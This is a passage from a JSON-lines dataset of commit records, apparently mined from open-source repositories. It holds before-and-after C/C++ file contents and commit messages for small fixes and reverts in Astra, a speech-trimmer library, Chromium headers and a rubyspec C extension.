position;\n            m_worldPosition = worldPosition;\n            m_steadyWorldPosition = worldPosition;\n            m_worldDeltaPosition = cv::Point3f(0, 0, 0);\n            m_trackingId = trackingId;\n            m_inactiveFrameCount = 0;\n            m_activeFrameCount = 0;\n        }\n    };\n}}}\n\n#endif \/\/ TRACKEDPOINT_H","subject":"Remove old tracked point fields","message":"Remove old tracked point fields\n","lang":"C","license":"apache-2.0","repos":"orbbec\/astra,orbbec\/astra,orbbec\/astra,orbbec\/astra,orbbec\/astra"}
{"commit":"2822ae02ece582706720ef387c37eee8c245a8f6","old_file":"lib\/c_impl\/n_speech_trimmer.c","new_file":"lib\/c_impl\/n_speech_trimmer.c","old_contents":"#include \"noyes.h\"\n#undef TRUE\n#define TRUE 1\n#undef FALSE\n#define FALSE 0\n\nSpeechTrimmer * new_speech_trimmer() {\n  SpeechTrimmer *self = malloc(sizeof(SpeechTrimmer));\n  self->leader = 5;\n  self->trailer = 5;\n  self->speech_started = FALSE;\n  self->bcm = new_bent_cent_marker();\n  self->false_count = 0;\n  self->true_count = 0;\n  self->queue = n_list_new();\n  self->eos_reached = FALSE;\n  self->scs = 20;\n  self->ecs = 50;\n}\n\nvoid free_speech_trimmer(SpeechTrimmer *self) {\n  free(self);\n}\n\nvoid speech_trimmer_enqueue(SpeechTrimmer *self, NMatrix1* pcm) {\n}\n\nNMatrix1 * speech_trimmer_dequeue(SpeechTrimmer *self) {\n  if (self->eos_reached || (self->speech_started &&\n                            n_list_size(self->queue) > self->ecs)) {\n    NMatrix1 * N = n_list_get(self->queue, 0);\n    n_list_remove(self->queue, 0, 1);\n    return N;\n  }\n  return NULL;\n}\nint speech_trimmer_eos(SpeechTrimmer *self) {\n  return self->eos_reached;\n}\n","new_contents":"#include \"noyes.h\"\n#undef TRUE\n#define TRUE 1\n#undef FALSE\n#define FALSE 0\n\nSpeechTrimmer * new_speech_trimmer() {\n  SpeechTrimmer *self = malloc(sizeof(SpeechTrimmer));\n  self->leader = 5;\n  self->trailer = 5;\n  self->speech_started = FALSE;\n  self->bcm = new_bent_cent_marker();\n  self->false_count = 0;\n  self->true_count = 0;\n  self->queue = n_list_new();\n  self->eos_reached = FALSE;\n  self->scs = 20;\n  self->ecs = 50;\n  return self;\n}\n\nvoid free_speech_trimmer(SpeechTrimmer *self) {\n  free(self);\n}\n\nvoid speech_trimmer_enqueue(SpeechTrimmer *self, NMatrix1* pcm) {\n}\n\nNMatrix1 * speech_trimmer_dequeue(SpeechTrimmer *self) {\n  if (self->eos_reached || (self->speech_started &&\n                            n_list_size(self->queue) > self->ecs)) {\n    NMatrix1 * N = n_list_get(self->queue, 0);\n    n_list_remove(self->queue, 0, 1);\n    return N;\n  }\n  return NULL;\n}\nint speech_trimmer_eos(SpeechTrimmer *self) {\n  return self->eos_reached;\n}\n","subject":"Fix memory error due to missing return statement in speech trimmer constructor.","message":"Fix memory error due to missing return statement in speech trimmer constructor.\n","lang":"C","license":"bsd-2-clause","repos":"talkhouse\/noyes,talkhouse\/noyes,talkhouse\/noyes"}
{"commit":"25c52209c37546ae811c6653fd725a192c58c602","old_file":"components\/password_manager\/core\/browser\/browser_save_password_progress_logger.h","new_file":"components\/password_manager\/core\/browser\/browser_save_password_progress_logger.h","old_contents":"\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef COMPONENTS_PASSWORD_MANAGER_CORE_BROWSER_BROWSER_SAVE_PASSWORD_PROGRESS_LOGGER_H_\n#define COMPONENTS_PASSWORD_MANAGER_CORE_BROWSER_BROWSER_SAVE_PASSWORD_PROGRESS_LOGGER_H_\n\n#include <string>\n\n#include \"components\/autofill\/core\/common\/save_password_progress_logger.h\"\n\nclass PasswordManagerClient;\n\nnamespace password_manager {\n\n\/\/ This is the SavePasswordProgressLogger specialization for the browser code,\n\/\/ where the PasswordManagerClient can be directly called.\nclass BrowserSavePasswordProgressLogger\n    : public autofill::SavePasswordProgressLogger {\n public:\n  explicit BrowserSavePasswordProgressLogger(PasswordManagerClient* client);\n  virtual ~BrowserSavePasswordProgressLogger();\n\n protected:\n  \/\/ autofill::SavePasswordProgressLogger:\n  virtual void SendLog(const std::string& log) OVERRIDE;\n\n private:\n  \/\/ The PasswordManagerClient to which logs can be sent for display. The client\n  \/\/ must outlive this logger.\n  PasswordManagerClient* const client_;\n\n  DISALLOW_COPY_AND_ASSIGN(BrowserSavePasswordProgressLogger);\n};\n\n}  \/\/ namespace password_manager\n\n#endif  \/\/ COMPONENTS_PASSWORD_MANAGER_CORE_BROWSER_BROWSER_SAVE_PASSWORD_PROGRESS_LOGGER_H_\n","new_contents":"\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef COMPONENTS_PASSWORD_MANAGER_CORE_BROWSER_BROWSER_SAVE_PASSWORD_PROGRESS_LOGGER_H_\n#define COMPONENTS_PASSWORD_MANAGER_CORE_BROWSER_BROWSER_SAVE_PASSWORD_PROGRESS_LOGGER_H_\n\n#include <string>\n\n#include \"components\/autofill\/core\/common\/save_password_progress_logger.h\"\n\nnamespace password_manager {\n\nclass PasswordManagerClient;\n\n\/\/ This is the SavePasswordProgressLogger specialization for the browser code,\n\/\/ where the PasswordManagerClient can be directly called.\nclass BrowserSavePasswordProgressLogger\n    : public autofill::SavePasswordProgressLogger {\n public:\n  explicit BrowserSavePasswordProgressLogger(PasswordManagerClient* client);\n  virtual ~BrowserSavePasswordProgressLogger();\n\n protected:\n  \/\/ autofill::SavePasswordProgressLogger:\n  virtual void SendLog(const std::string& log) OVERRIDE;\n\n private:\n  \/\/ The PasswordManagerClient to which logs can be sent for display. The client\n  \/\/ must outlive this logger.\n  PasswordManagerClient* const client_;\n\n  DISALLOW_COPY_AND_ASSIGN(BrowserSavePasswordProgressLogger);\n};\n\n}  \/\/ namespace password_manager\n\n#endif  \/\/ COMPONENTS_PASSWORD_MANAGER_CORE_BROWSER_BROWSER_SAVE_PASSWORD_PROGRESS_LOGGER_H_\n","subject":"Revert 262696 \"Revert 262685 \"Fix a forward declaration of Passw...\"","message":"Revert 262696 \"Revert 262685 \"Fix a forward declaration of Passw...\"\n\n> Revert 262685 \"Fix a forward declaration of PasswordManagerClient\"\n> \n> Compile still fails:\n> http:\/\/build.chromium.org\/p\/chromium.linux\/buildstatus?builder=Linux%20GTK%20Builder&number=2681\n> ..\/..\/chrome\/browser\/ui\/gtk\/login_prompt_gtk.cc:70:7:error: 'PasswordManager' has not been declared\n> \n> \n> > Fix a forward declaration of PasswordManagerClient\n> > \n> > This went wrong with landing https:\/\/codereview.chromium.org\/225093012 and https:\/\/codereview.chromium.org\/216183008 too close from each other.\n> > \n> > BUG=347927,348523\n> > R=blundell@chromium.org\n> > TBR=blundell@chromium.org\n> > \n> > Review URL: https:\/\/codereview.chromium.org\/230883002\n> \n> TBR=vabr@chromium.org\n> \n> Review URL: https:\/\/codereview.chromium.org\/231043002\n\nTBR=dmazzoni@google.com\n\nReview URL: https:\/\/codereview.chromium.org\/231033004\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@262700 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"dednal\/chromium.src,axinging\/chromium-crosswalk,Just-D\/chromium-1,Pluto-tv\/chromium-crosswalk,dushu1203\/chromium.src,ltilve\/chromium,bright-sparks\/chromium-spacewalk,Fireblend\/chromium-crosswalk,axinging\/chromium-crosswalk,fujunwei\/chromium-crosswalk,dushu1203\/chromium.src,M4sse\/chromium.src,dushu1203\/chromium.src,Fireblend\/chromium-crosswalk,markYoungH\/chromium.src,hgl888\/chromium-crosswalk-efl,dushu1203\/chromium.src,fujunwei\/chromium-crosswalk,dushu1203\/chromium.src,axinging\/chromium-crosswalk,dednal\/chromium.src,PeterWangIntel\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,mohamed--abdel-maksoud\/chromium.src,krieger-od\/nwjs_chromium.src,mohamed--abdel-maksoud\/chromium.src,ondra-novak\/chromium.src,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,jaruba\/chromium.src,chuan9\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,M4sse\/chromium.src,Pluto-tv\/chromium-crosswalk,jaruba\/chromium.src,jaruba\/chromium.src,axinging\/chromium-crosswalk,M4sse\/chromium.src,PeterWangIntel\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,jaruba\/chromium.src,TheTypoMaster\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,ltilve\/chromium,bright-sparks\/chromium-spacewalk,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,Jonekee\/chromium.src,hgl888\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,littlstar\/chromium.src,Just-D\/chromium-1,bright-sparks\/chromium-spacewalk,ltilve\/chromium,dushu1203\/chromium.src,TheTypoMaster\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,markYoungH\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,littlstar\/chromium.src,Jonekee\/chromium.src,hgl888\/chromium-crosswalk-efl,bright-sparks\/chromium-spacewalk,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,dednal\/chromium.src,markYoungH\/chromium.src,dushu1203\/chromium.src,krieger-od\/nwjs_chromium.src,fujunwei\/chromium-crosswalk,fujunwei\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Just-D\/chromium-1,littlstar\/chromium.src,krieger-od\/nwjs_chromium.src,Chilledheart\/chromium,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,M4sse\/chromium.src,Chilledheart\/chromium,TheTypoMaster\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,chuan9\/chromium-crosswalk,Just-D\/chromium-1,ltilve\/chromium,chuan9\/chromium-crosswalk,chuan9\/chromium-crosswalk,axinging\/chromium-crosswalk,ondra-novak\/chromium.src,M4sse\/chromium.src,jaruba\/chromium.src,krieger-od\/nwjs_chromium.src,mohamed--abdel-maksoud\/chromium.src,krieger-od\/nwjs_chromium.src,fujunwei\/chromium-crosswalk,ltilve\/chromium,mohamed--abdel-maksoud\/chromium.src,Jonekee\/chromium.src,Pluto-tv\/chromium-crosswalk,dushu1203\/chromium.src,M4sse\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,bright-sparks\/chromium-spacewalk,hgl888\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,Just-D\/chromium-1,ltilve\/chromium,krieger-od\/nwjs_chromium.src,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Chilledheart\/chromium,dushu1203\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,PeterWangIntel\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,Fireblend\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,krieger-od\/nwjs_chromium.src,hgl888\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,dednal\/chromium.src,Just-D\/chromium-1,ondra-novak\/chromium.src,axinging\/chromium-crosswalk,Jonekee\/chromium.src,jaruba\/chromium.src,markYoungH\/chromium.src,PeterWangIntel\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Chilledheart\/chromium,hgl888\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,jaruba\/chromium.src,M4sse\/chromium.src,littlstar\/chromium.src,ondra-novak\/chromium.src,littlstar\/chromium.src,dednal\/chromium.src,markYoungH\/chromium.src,TheTypoMaster\/chromium-crosswalk,dushu1203\/chromium.src,jaruba\/chromium.src,Chilledheart\/chromium,dednal\/chromium.src,markYoungH\/chromium.src,Jonekee\/chromium.src,dednal\/chromium.src,littlstar\/chromium.src,krieger-od\/nwjs_chromium.src,crosswalk-project\/chromium-crosswalk-efl,Jonekee\/chromium.src,fujunwei\/chromium-crosswalk,markYoungH\/chromium.src,chuan9\/chromium-crosswalk,jaruba\/chromium.src,fujunwei\/chromium-crosswalk,chuan9\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,jaruba\/chromium.src,krieger-od\/nwjs_chromium.src,littlstar\/chromium.src,dednal\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,littlstar\/chromium.src,Chilledheart\/chromium,jaruba\/chromium.src,TheTypoMaster\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,ondra-novak\/chromium.src,chuan9\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,ltilve\/chromium,Jonekee\/chromium.src,ltilve\/chromium,Chilledheart\/chromium,ltilve\/chromium,Jonekee\/chromium.src,Chilledheart\/chromium,Fireblend\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,bright-sparks\/chromium-spacewalk,markYoungH\/chromium.src,dednal\/chromium.src,Jonekee\/chromium.src,hgl888\/chromium-crosswalk-efl,M4sse\/chromium.src,chuan9\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,markYoungH\/chromium.src,M4sse\/chromium.src,axinging\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,dushu1203\/chromium.src,axinging\/chromium-crosswalk,Just-D\/chromium-1,hgl888\/chromium-crosswalk-efl,M4sse\/chromium.src,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,chuan9\/chromium-crosswalk,markYoungH\/chromium.src,Just-D\/chromium-1,Jonekee\/chromium.src,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,hgl888\/chromium-crosswalk,Chilledheart\/chromium,PeterWangIntel\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,dednal\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,Fireblend\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,dednal\/chromium.src,ondra-novak\/chromium.src,Pluto-tv\/chromium-crosswalk,Just-D\/chromium-1,ondra-novak\/chromium.src,Fireblend\/chromium-crosswalk,Jonekee\/chromium.src,ondra-novak\/chromium.src,Pluto-tv\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,ondra-novak\/chromium.src,Fireblend\/chromium-crosswalk,axinging\/chromium-crosswalk,markYoungH\/chromium.src"}
{"commit":"404504635570833ffec7857cfa28e055b276b521","old_file":"optional\/capi\/ext\/proc_spec.c","new_file":"optional\/capi\/ext\/proc_spec.c","old_contents":"#include <string.h>\n\n#include \"ruby.h\"\n#include \"rubyspec.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifdef HAVE_RB_PROC_NEW\nVALUE concat_func(VALUE args) {\n  int i;\n  char buffer[500] = {0};\n  if (TYPE(args) != T_ARRAY) return Qnil;\n  for(i = 0; i < RARRAY_LEN(args); ++i) {\n    VALUE v = RARRAY_PTR(args)[i];\n    strcat(buffer, StringValuePtr(v));\n    strcat(buffer, \"_\");\n  }\n  buffer[strlen(buffer) - 1] = 0;\n  return rb_str_new2(buffer);\n\n}\n\nVALUE sp_underline_concat_proc(VALUE self) {\n  return rb_proc_new(concat_func, Qnil);\n}\n#endif\n\nvoid Init_proc_spec() {\n  VALUE cls;\n  cls = rb_define_class(\"CApiProcSpecs\", rb_cObject);\n\n#ifdef HAVE_RB_PROC_NEW\n  rb_define_method(cls, \"underline_concat_proc\", sp_underline_concat_proc, 0);\n#endif\n}\n\n#ifdef __cplusplus\n}\n#endif\n","new_contents":"#include <string.h>\n\n#include \"ruby.h\"\n#include \"rubyspec.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifdef HAVE_RB_PROC_NEW\nVALUE concat_func(VALUE args) {\n  int i;\n  char buffer[500] = {0};\n  if (TYPE(val) != T_ARRAY) return Qnil;\n  for(i = 0; i < RARRAY_LEN(args); ++i) {\n    VALUE v = RARRAY_PTR(args)[i];\n    strcat(buffer, StringValuePtr(v));\n    strcat(buffer, \"_\");\n  }\n  buffer[strlen(buffer) - 1] = 0;\n  return rb_str_new2(buffer);\n\n}\n\nVALUE sp_underline_concat_proc(VALUE self) {\n  return rb_proc_new(concat_func, Qnil);\n}\n#endif\n\nvoid Init_proc_spec() {\n  VALUE cls;\n  cls = rb_define_class(\"CApiProcSpecs\", rb_cObject);\n\n#ifdef HAVE_RB_PROC_NEW\n  rb_define_method(cls, \"underline_concat_proc\", sp_underline_concat_proc, 0);\n#endif\n}\n\n#ifdef __cplusplus\n}\n#endif\n","subject":"Revert \"Fix typo in the commit a5312c77.\"","message":"Revert \"Fix typo in the commit a5312c77.\"\n\nThis reverts commit 401825d6045ab8e3bd1514404e7c326a045a92ae.\n\nSee the following revert for an explanation.\n","lang":"C","license":"mit","repos":"godfat\/rubyspec,chesterbr\/rubyspec,kachick\/rubyspec,iainbeeston\/rubyspec,yous\/rubyspec,sferik\/rubyspec,flavio\/rubyspec,markburns\/rubyspec,scooter-dangle\/rubyspec,benlovell\/rubyspec,lucaspinto\/rubyspec,ruby\/rubyspec,Zoxc\/rubyspec,metadave\/rubyspec,saturnflyer\/rubyspec,eregon\/rubyspec,alex\/rubyspec,Aesthetikx\/rubyspec,JuanitoFatas\/rubyspec,roshats\/rubyspec,MagLev\/rubyspec,freerange\/rubyspec,no6v\/rubyspec,xaviershay\/rubyspec,chesterbr\/rubyspec,terceiro\/rubyspec,jannishuebl\/rubyspec,lucaspinto\/rubyspec,flavio\/rubyspec,timfel\/rubyspec,rdp\/rubyspec,sgarciac\/spec,josedonizetti\/rubyspec,nevir\/rubyspec,sferik\/rubyspec,neomadara\/rubyspec,marcandre\/rubyspec,roshats\/rubyspec,rkh\/rubyspec,qmx\/rubyspec,nevir\/rubyspec,agrimm\/rubyspec,DawidJanczak\/rubyspec,Zoxc\/rubyspec,tinco\/rubyspec,benburkert\/rubyspec,kidaa\/rubyspec,wied03\/rubyspec,saturnflyer\/rubyspec,DawidJanczak\/rubyspec,jstepien\/rubyspec,terceiro\/rubyspec,ruby\/spec,wied03\/rubyspec,bomatson\/rubyspec,sgarciac\/spec,eregon\/rubyspec,MagLev\/rubyspec,nobu\/rubyspec,mrkn\/rubyspec,griff\/rubyspec,askl56\/rubyspec,BanzaiMan\/rubyspec,shirosaki\/rubyspec,iliabylich\/rubyspec,atambo\/rubyspec,sgarciac\/spec,yb66\/rubyspec,mbj\/rubyspec,DavidEGrayson\/rubyspec,iliabylich\/rubyspec,amarshall\/rubyspec,bl4ckdu5t\/rubyspec,JuanitoFatas\/rubyspec,iainbeeston\/rubyspec,neomadara\/rubyspec,mrkn\/rubyspec,ruby\/spec,kidaa\/rubyspec,ericmeyer\/rubyspec,yaauie\/rubyspec,alexch\/rubyspec,DavidEGrayson\/rubyspec,no6v\/rubyspec,timfel\/rubyspec,askl56\/rubyspec,alindeman\/rubyspec,julik\/rubyspec,rdp\/rubyspec,yb66\/rubyspec,kachick\/rubyspec,julik\/rubyspec,ruby\/rubyspec,xaviershay\/rubyspec,jannishuebl\/rubyspec,freerange\/rubyspec,bomatson\/rubyspec,marcandre\/rubyspec,teleological\/rubyspec,tinco\/rubyspec,atambo\/rubyspec,BanzaiMan\/rubyspec,amarshall\/rubyspec,benlovell\/rubyspec,alexch\/rubyspec,bjeanes\/rubyspec,nobu\/rubyspec,nobu\/rubyspec,kachick\/rubyspec,rkh\/rubyspec,yaauie\/rubyspec,griff\/rubyspec,alindeman\/rubyspec,jvshahid\/rubyspec,oggy\/rubyspec,ruby\/spec,Aesthetikx\/rubyspec,alex\/rubyspec,jvshahid\/rubyspec,josedonizetti\/rubyspec,enricosada\/rubyspec,godfat\/rubyspec,wied03\/rubyspec,benburkert\/rubyspec,bjeanes\/rubyspec,mbj\/rubyspec,qmx\/rubyspec,agrimm\/rubyspec,markburns\/rubyspec,scooter-dangle\/rubyspec,ericmeyer\/rubyspec,oggy\/rubyspec,yous\/rubyspec,bl4ckdu5t\/rubyspec,shirosaki\/rubyspec,metadave\/rubyspec,eregon\/rubyspec,jstepien\/rubyspec,enricosada\/rubyspec,teleological\/rubyspec"}
{"commit":"8e4c186215c3d086a734dc0aec7f119b8a88c0a9","old_file":"ui\/views\/widget\/desktop_capture_client.h","new_file":"ui\/views\/widget\/desktop_capture_client.h","old_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef UI_VIEWS_WIDGET_DESKTOP_CAPTURE_CLIENT_H_\n#define UI_VIEWS_WIDGET_DESKTOP_CAPTURE_CLIENT_H_\n\n#include \"base\/basictypes.h\"\n#include \"base\/compiler_specific.h\"\n#include \"ui\/aura\/client\/capture_client.h\"\n#include \"ui\/views\/views_export.h\"\n\nnamespace views {\n\nclass VIEWS_EXPORT DesktopCaptureClient : public aura::client::CaptureClient {\n public:\n  DesktopCaptureClient();\n  virtual ~DesktopCaptureClient();\n\n private:\n  \/\/ Overridden from aura::client::CaptureClient:\n  virtual void SetCapture(aura::Window* window) OVERRIDE;\n  virtual void ReleaseCapture(aura::Window* window) OVERRIDE;\n  virtual aura::Window* GetCaptureWindow() OVERRIDE;\n\n  aura::Window* capture_window_;\n\n  DISALLOW_COPY_AND_ASSIGN(DesktopCaptureClient);\n};\n\n}  \/\/ namespace views\n\n#endif  \/\/ UI_VIEWS_WIDGET_DESKTOP_CAPTURE_CLIENT_H_\n","new_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef UI_VIEWS_WIDGET_DESKTOP_CAPTURE_CLIENT_H_\n#define UI_VIEWS_WIDGET_DESKTOP_CAPTURE_CLIENT_H_\n\n#include \"base\/basictypes.h\"\n#include \"base\/compiler_specific.h\"\n#include \"ui\/aura\/client\/capture_client.h\"\n\nnamespace views {\n\nclass DesktopCaptureClient : public aura::client::CaptureClient {\n public:\n  DesktopCaptureClient();\n  virtual ~DesktopCaptureClient();\n\n private:\n  \/\/ Overridden from aura::client::CaptureClient:\n  virtual void SetCapture(aura::Window* window) OVERRIDE;\n  virtual void ReleaseCapture(aura::Window* window) OVERRIDE;\n  virtual aura::Window* GetCaptureWindow() OVERRIDE;\n\n  aura::Window* capture_window_;\n\n  DISALLOW_COPY_AND_ASSIGN(DesktopCaptureClient);\n};\n\n}  \/\/ namespace views\n\n#endif  \/\/ UI_VIEWS_WIDGET_DESKTOP_CAPTURE_CLIENT_H_\n","subject":"Revert 155836 - Fix static build.","message":"Revert 155836 - Fix static build.\n\nTBR=ben@chromium.org\nReview URL: https:\/\/chromiumcodereview.appspot.com\/10918157\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@155841 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"anirudhSK\/chromium,Jonekee\/chromium.src,mogoweb\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,chuan9\/chromium-crosswalk,ltilve\/chromium,hujiajie\/pa-chromium,axinging\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,ltilve\/chromium,nacl-webkit\/chrome_deps,bright-sparks\/chromium-spacewalk,chuan9\/chromium-crosswalk,axinging\/chromium-crosswalk,dushu1203\/chromium.src,PeterWangIntel\/chromium-crosswalk,ltilve\/chromium,littlstar\/chromium.src,dushu1203\/chromium.src,ondra-novak\/chromium.src,Chilledheart\/chromium,hujiajie\/pa-chromium,Pluto-tv\/chromium-crosswalk,littlstar\/chromium.src,fujunwei\/chromium-crosswalk,M4sse\/chromium.src,Jonekee\/chromium.src,timopulkkinen\/BubbleFish,TheTypoMaster\/chromium-crosswalk,anirudhSK\/chromium,ChromiumWebApps\/chromium,junmin-zhu\/chromium-rivertrail,nacl-webkit\/chrome_deps,Just-D\/chromium-1,PeterWangIntel\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,M4sse\/chromium.src,littlstar\/chromium.src,markYoungH\/chromium.src,hgl888\/chromium-crosswalk-efl,dednal\/chromium.src,chuan9\/chromium-crosswalk,dednal\/chromium.src,krieger-od\/nwjs_chromium.src,ondra-novak\/chromium.src,ltilve\/chromium,jaruba\/chromium.src,ondra-novak\/chromium.src,bright-sparks\/chromium-spacewalk,mogoweb\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,mohamed--abdel-maksoud\/chromium.src,junmin-zhu\/chromium-rivertrail,hujiajie\/pa-chromium,hujiajie\/pa-chromium,Just-D\/chromium-1,anirudhSK\/chromium,markYoungH\/chromium.src,fujunwei\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,ChromiumWebApps\/chromium,Pluto-tv\/chromium-crosswalk,ondra-novak\/chromium.src,Fireblend\/chromium-crosswalk,timopulkkinen\/BubbleFish,zcbenz\/cefode-chromium,ltilve\/chromium,PeterWangIntel\/chromium-crosswalk,fujunwei\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,dushu1203\/chromium.src,chuan9\/chromium-crosswalk,patrickm\/chromium.src,fujunwei\/chromium-crosswalk,jaruba\/chromium.src,Fireblend\/chromium-crosswalk,Jonekee\/chromium.src,zcbenz\/cefode-chromium,markYoungH\/chromium.src,hujiajie\/pa-chromium,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,bright-sparks\/chromium-spacewalk,markYoungH\/chromium.src,TheTypoMaster\/chromium-crosswalk,anirudhSK\/chromium,axinging\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,timopulkkinen\/BubbleFish,hgl888\/chromium-crosswalk-efl,markYoungH\/chromium.src,junmin-zhu\/chromium-rivertrail,junmin-zhu\/chromium-rivertrail,dednal\/chromium.src,hgl888\/chromium-crosswalk,Chilledheart\/chromium,bright-sparks\/chromium-spacewalk,Fireblend\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,dednal\/chromium.src,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk,markYoungH\/chromium.src,mogoweb\/chromium-crosswalk,ondra-novak\/chromium.src,hujiajie\/pa-chromium,patrickm\/chromium.src,nacl-webkit\/chrome_deps,M4sse\/chromium.src,Jonekee\/chromium.src,TheTypoMaster\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,anirudhSK\/chromium,patrickm\/chromium.src,anirudhSK\/chromium,Jonekee\/chromium.src,nacl-webkit\/chrome_deps,chuan9\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,Pluto-tv\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,jaruba\/chromium.src,ondra-novak\/chromium.src,Pluto-tv\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Just-D\/chromium-1,mogoweb\/chromium-crosswalk,M4sse\/chromium.src,pozdnyakov\/chromium-crosswalk,hgl888\/chromium-crosswalk,timopulkkinen\/BubbleFish,jaruba\/chromium.src,nacl-webkit\/chrome_deps,dednal\/chromium.src,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk,ltilve\/chromium,timopulkkinen\/BubbleFish,junmin-zhu\/chromium-rivertrail,dednal\/chromium.src,junmin-zhu\/chromium-rivertrail,Chilledheart\/chromium,axinging\/chromium-crosswalk,chuan9\/chromium-crosswalk,ChromiumWebApps\/chromium,nacl-webkit\/chrome_deps,pozdnyakov\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,krieger-od\/nwjs_chromium.src,ChromiumWebApps\/chromium,jaruba\/chromium.src,patrickm\/chromium.src,pozdnyakov\/chromium-crosswalk,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk,axinging\/chromium-crosswalk,timopulkkinen\/BubbleFish,dushu1203\/chromium.src,pozdnyakov\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,Just-D\/chromium-1,PeterWangIntel\/chromium-crosswalk,Fireblend\/chromium-crosswalk,anirudhSK\/chromium,Jonekee\/chromium.src,Fireblend\/chromium-crosswalk,ChromiumWebApps\/chromium,ondra-novak\/chromium.src,hgl888\/chromium-crosswalk,chuan9\/chromium-crosswalk,markYoungH\/chromium.src,Chilledheart\/chromium,Just-D\/chromium-1,pozdnyakov\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,dednal\/chromium.src,mogoweb\/chromium-crosswalk,nacl-webkit\/chrome_deps,krieger-od\/nwjs_chromium.src,mohamed--abdel-maksoud\/chromium.src,anirudhSK\/chromium,crosswalk-project\/chromium-crosswalk-efl,Jonekee\/chromium.src,ChromiumWebApps\/chromium,bright-sparks\/chromium-spacewalk,littlstar\/chromium.src,junmin-zhu\/chromium-rivertrail,timopulkkinen\/BubbleFish,zcbenz\/cefode-chromium,hujiajie\/pa-chromium,fujunwei\/chromium-crosswalk,M4sse\/chromium.src,littlstar\/chromium.src,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk,hujiajie\/pa-chromium,zcbenz\/cefode-chromium,pozdnyakov\/chromium-crosswalk,zcbenz\/cefode-chromium,mohamed--abdel-maksoud\/chromium.src,chuan9\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Chilledheart\/chromium,mohamed--abdel-maksoud\/chromium.src,pozdnyakov\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,littlstar\/chromium.src,markYoungH\/chromium.src,bright-sparks\/chromium-spacewalk,timopulkkinen\/BubbleFish,dednal\/chromium.src,ltilve\/chromium,mohamed--abdel-maksoud\/chromium.src,Just-D\/chromium-1,krieger-od\/nwjs